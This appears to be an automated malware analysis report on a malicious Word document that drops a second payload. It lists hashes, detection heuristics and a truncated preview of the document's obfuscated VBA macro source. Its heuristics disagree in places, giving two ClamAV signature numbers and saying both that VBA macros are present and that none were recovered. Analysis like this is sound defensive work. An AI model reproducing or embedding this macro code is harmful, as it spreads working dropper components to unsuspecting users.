Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4962362b395bd23b…

MALICIOUS

Office (OLE)

187.0 KB Created: 2018-02-27 05:20:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b9ebf4711fc936f2e0a2ae3f7467523a SHA-1: 63c99193c56f8f3623e778fc4221aed818874846 SHA-256: 4962362b395bd23be0ea8d6f721383369372ba0b55b6a54a2960ccd4930a8efe
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external code. The ClamAV detection name 'Doc.Dropper.Agent-6458036-0' further supports its nature as a dropper. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or download URL, but the presence of the Shell() call and the dropper signature strongly suggest it's designed to download and execute a secondary malicious component.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6457824-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6457824-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59125 bytes
SHA-256: 1be18fb4337f1ab67d560a48fdea46d03729a890e7484eff76af6de475cec510
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QXvBovhE"
Sub dFIWvUvrvqvI(zhjpfo)
   On Error Resume Next
   Dim JBYYZRhpkUSGj()
   ReDim HHHfPsuC(2)
   zfwHaORzPsKdbj(0) = 7072795
   dmFGbYpZppabJQ(1) = 9285757
   HGZsbJGbTVDNYp = Loo - 6174151
   WjlFpvUbqZ = 3389149 * 7076360
End Sub
Function QEsiwXquaiw()
On Error Resume Next
JIqfZS = "EZCisHQfv% tes&&!shFWFMDQIbww"
WtTPO = uXmnZksYt = wwVtVHlWOvi = (5643029 / jwjKjjnuAPll + 521620 * uspoOhtf * (5169498 / UslACShqQ / 7437532 - Tan(qsZIr / CBool(nwikIS / 7920465 / iYHTvrDWJqrvm))))
hFlnY = siiuUQOEz = fWaFjslM = (4866625 / JYtZWUvAUijRwT + 9094875 * zpoCami * (1613542 / zVlTdXiSzd / 3960761 - Tan(JYzUOjQjOaHK / CBool(swXWVXtlz / 4948182 / KjqKFzwqaZqRpi))))
bplHda = gjHBjhbyuf(JIqfZS, 13, 9)
VFckuzwiXsY = "cujvCvNsTdiWCrvIZDjp&&llvnrAO"
vpmnF = LYIkKosjV = bwzwFcCYczfV = (7051053 / nhQGZMmir + 7970119 * VkrlYiPRl * (24204 / NiiwTmR / 3624883 - Tan(pojzc / CBool(lKIwzEIYj / 8571806 / nDOPEzY))))
DiKWbRBm = YUicatANY = jhAtIAwFImCK = (973681 / uFIzNE + 7051922 * oLZHqJjPwjjT * (7885928 / sSiCS / 1895990 - Tan(MVNPZhVkBzUEws / CBool(TBKnWsoTimUs / 2568379 / ULlaqbpMsQcNi))))
qfkVBzktalp = gjHBjhbyuf(VFckuzwiXsY, 6, 4)
ZQjfo = "MlIqPkwoqKsBTiXfNjHNzsdV tes&&eh=%5rwsncPCDB"
aQinljiFIip = RNIkhIhdc = uOfpL = (4810404 / vbKJiZSh + 2923437 * BPwnhVsvRlwqu * (9280330 / JpsjLRpzFshnLj / 7733325 - Tan(CSRjNdNNsmtun / CBool(FhONYjaA / 784399 / LQsvAhhLc))))
vphzlXtmAUJ = wvXdPifbf = YXuMnnAZwLEP = (493199 / sUwlSNK + 965452 * RqWhEwisIvM * (6003111 / QEEHz / 1659727 - Tan(AYhsIkvluJS / CBool(TqdVRFwaTS / 9293322 / qjrEsjKN))))
tvCTa = gjHBjhbyuf(ZQjfo, 9, 12)
QPzjsH = "MZqoqZquiThvdDBMThaDfiEEavRHzQU"
lVszQzIjW = pKSOKjBKb = wUAKfMmsliI = (3847578 / mbhwPmQPIbwY + 8286970 * HqqaBMijBtrj * (2623805 / cGNzVajncilXKU / 8100511 - Tan(CmobfBvIHHGGa / CBool(HjYUmCOzCQFU / 2557396 / odCJqI))))
DZNQCbmKI = rFrmRbKFs = UZNoaBz = (7932612 / oiCjXWKonTd + 959220 * QRzCsmDLrIGnwf * (1371448 / hniNbBioV / 3941065 - Tan(GmXmOJXJ / CBool(rYJMlWzVwwaqDP / 1141368 / zrUOnIjXWzY))))
JafOXzffw = gjHBjhbyuf(QPzjsH, 6, 2)
fBTcGkv = "Bfvv% tes&&s=%4raMzORLohTJ"
BRfzDw = BnldSjIst = cicFfsokjIFcIi = (4117486 / BkrjOjKtLh + 8134148 * fjkiuLwaL * (353493 / MVDnwdZ / 6071242 - Tan(HqiXB / CBool(jvXiuz / 415053 / EzYWhwk))))
nUYSIt = uQzXiNKtO = lCnRowMh = (7210274 / CCcHPKHwnY + 1342878 * iSNajzWvWCJSI * (9185964 / wQBLovR / 6460427 - Tan(nrIUGMFqJsTUE / CBool(OMLqIzt / 1976470 / TvKilMSwRlVmrr))))
CYpzXClncZH = gjHBjhbyuf(fBTcGkv, 10, 15)
ZoFjQztQvf = "XjKCKU%2rav%!=%8rav% tesizzzFHzOYs"
DuwuZLXKzGA = FtfNTXTiJ = ajiPQqJI = (6889297 / VmwYzjpDHNjI + 5235217 * OjfvFrJp * (8917205 / EoutifVokdjSv / 1310407 - Tan(miPWwkRI / CBool(BjLODsbf / 8580697 / UImvVc))))
RzDEDwuR = rvXzkwlYf = JuSzGmjc = (8609562 / THksBAZnmGAmtu + 954115 * uKjEznikjhMu * (289918 / cJCWIkKfvjW / 9654113 - Tan(YRWBYsRsVwnB / CBool(YzJUnilEirj / 4354689 / UiPOwizBKTMj))))
pKuZq = gjHBjhbyuf(ZoFjQztQvf, 11, 18)
NaIAVsa = "UCdsiiXMaEqiEsjrn"
SQQil = QSjSwPOLz = XnwwEBWQKhMJ = (8265730 / BEacztwG + 4673852 * NfdhOuFlA * (7962729 / zzQGS / 9909406 - Tan(IvQGbPRuomL / CBool(rQOXl / 4833320 / pCQcbJBRB))))
wLXWahDkSD = EJWhuRwcJ = DOQUFT = (4901256 / zmkcfhvKdrTozZ + 9458899 * qiPiJaRm * (2657370 / VIZhKJBNDf / 3242982 - Tan(ipljnHIUJi / CBool(AibDvmXU / 9676331 / ALnlvhK))))
mOHOkYOz = gjHBjhbyuf(NaIAVsa, 11, 1)
VLGBZfkURTo = "PZzqRjRlLinLMBwQPKWkhFvav%Aj"
nQZvVETkmi = AwrwIBmza = BPStUOEjIkqZo = (1994881 / mGnFqcbuuGi + 2070114 * osovJmJhP * (9296675 / ZEvvi / 916945 - Tan(JjRVvwukQZ / CBool(YnlDjsQvv / 3128960 / AAWKj))))
qmXmLWz = fmjjPpfZi = SzqAZV = (6872761 / rISWXDi + 6686933 * KHfRwk * (2898415 / wktFiHM / 4835806 - Tan(aTFurjRof / CBool(RJOdB / 6346068 / VRwpTMbmblq))))
CNaBq = gjHBjhbyuf(VLGBZfkURTo, 3, 3)
wuPdwpcJ = "MUHwziGdHrvDEz
... (truncated)

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